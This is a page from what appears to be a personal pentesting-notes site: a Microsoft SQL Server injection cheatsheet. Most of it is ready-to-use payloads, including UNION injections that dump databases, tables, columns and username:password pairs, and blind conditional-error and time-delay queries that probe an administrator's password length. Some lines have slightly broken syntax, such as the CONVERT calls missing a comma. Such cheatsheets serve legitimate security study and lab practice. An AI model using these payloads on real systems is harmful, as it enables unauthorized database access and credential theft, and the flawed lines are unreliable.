Hack Notes
GithubTwitterTryHackMeHackTheBox
  • Hack Notes
    • # whoami
  • 🕸️Web Application Security
    • Web Application Security Notes
      • SQL Injection
        • Basic Microsoft SQL injection Cheatsheet
        • Basic PostgreSQL injection Cheatsheet
        • Basic MySQL Injection Cheatsheet
        • Basic Oracle SQLi Cheatsheet
      • Authentication Vulnerabilities
        • Authentication Flaws Checklist
        • Authentication Vulnerability Practical
      • Directory Travarsal
        • Directory Traversal Lab
      • Command Injection
        • Command Injection Labs
      • Business logic flaws
        • Business Logic Vulnerabilities Labs
      • Information Disclosure
        • Information Disclosure Labs
      • Access Control
        • Broken Access Controls in Practice
      • File Upload Vulnerability
      • Server Side Request Forgery (SSRF)
      • XML External Entity Injections
      • Web Penetration Testing Tools
  • 📖Writeups
    • TryHackMe
      • The advent of Cyber 1 (2019)
      • THM Basic Pen-Testing Machine
      • THM Room CC: Pentesting
      • THM Machine DailyBugle
      • THM Machine Fortress
      • THM Machine Internal
      • THM Room: OWASP Top 10 Answers
      • THM Machine: Overpass
      • THM Machine: Overpass 2 - Hacked
      • THM Machine: Overpass 3 - Hosting
      • THM Room: Pickle Rick CTF
      • THM Machine Relevant
      • THM Machine: SkyNet
      • THM Room: Web Fundamentals
  • ☠️CNWPP
    • CNWPP
      • CNWPP Content
      • Week #1 Introduction to Pentest
      • Week #2 Pentesting Methodologies
      • Week #3 Network Pentesting
      • Week #4 Web Application Pentesting
  • 🏛️Active Directory (AD)
    • Active Directory Attacks
      • LLMNR Poisoning Attack
      • SMB Relay Attack
      • IPv6 Attacks
        • IPv6 Attack In Action
      • Kerberos
        • Kerberos Pre Authentication Attack
        • Kerberoasting
        • DCsync Attack
Powered by GitBook
On this page
  • Retrieving Database version
  • String Concatenation
  • Substring
  • Comments
  • Database Contents
  • Conditional Errors
  • Time delays
  • Conditional Time delays

Was this helpful?

  1. Web Application Security
  2. Web Application Security Notes
  3. SQL Injection

Basic Microsoft SQL injection Cheatsheet

Microsoft SQL Injection (MS SQLi)

Retrieving Database version

SELECT @@version

UNION SQLi Context

' UNION SELECT NULL, @@version -- -

Note: In UNION Statement we have to match the number of columns of first select statement so that's why we use one NULL in the payload.

String Concatenation

'string1'+'string2'
SELECT username+password FROM users;

In a UNION SQLi Context

' UNION SELECT NULL,username+":"+password,NULL FROM users -- -

Substring

SELECT SUBSTRING(password,2,1) FROM users 

In the UNION SQLi context

' UNION SELECT SUBSTRING(password,2,1) FROM users -- -

Comments

--comment
/*comment*/

Database Contents

List All Databases

SELECT name FROM sys.databases

In UNION MS SQLi

' UNION SELECT NULL,name,NULL FROM sys.databases -- -

List All Tables

SELECT table_name FROM information_schema.tables

In a UNION MS SQLi context

' UNION SELECT table_name FROM information_schema.tables -- -

List All Columns

SELECT column_name FROM information_schema.columns WHERE table_name = 'demo'

In UNION MS SQLi

' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE NAME HERE' -- -

Conditional Errors

SELECT CASE WHEN LEN(password) = 3 THEN CONVERT(NVARCHAR 1/0) ELSE '' END FROM users WHERE username='administrator'

In UNION MS SQLi

' UNION SELECT NULL,NULL,CASE WHEN LEN(password)=FUZZ THEN CONVERT(NVARCHAR1/0) ELSE '' END FROM users WHERE username='administrator'

Time delays

WAITFOR DELAY '0:0:10'

Conditional Time delays

IF (SELECT LEN(password) FROM user WHERE username = 'Administrator') = 5 WAITFOR DELAY '0:0:10'

In UNION MS SQLi

' UNION SELECT NULL,NULL,(SELECT LEN(password) FROM user where username = 'Administrator') = FUZZ WAITFOR DELAY '0:0:5'
PreviousSQL InjectionNextBasic PostgreSQL injection Cheatsheet

Last updated 2 years ago

Was this helpful?

🕸️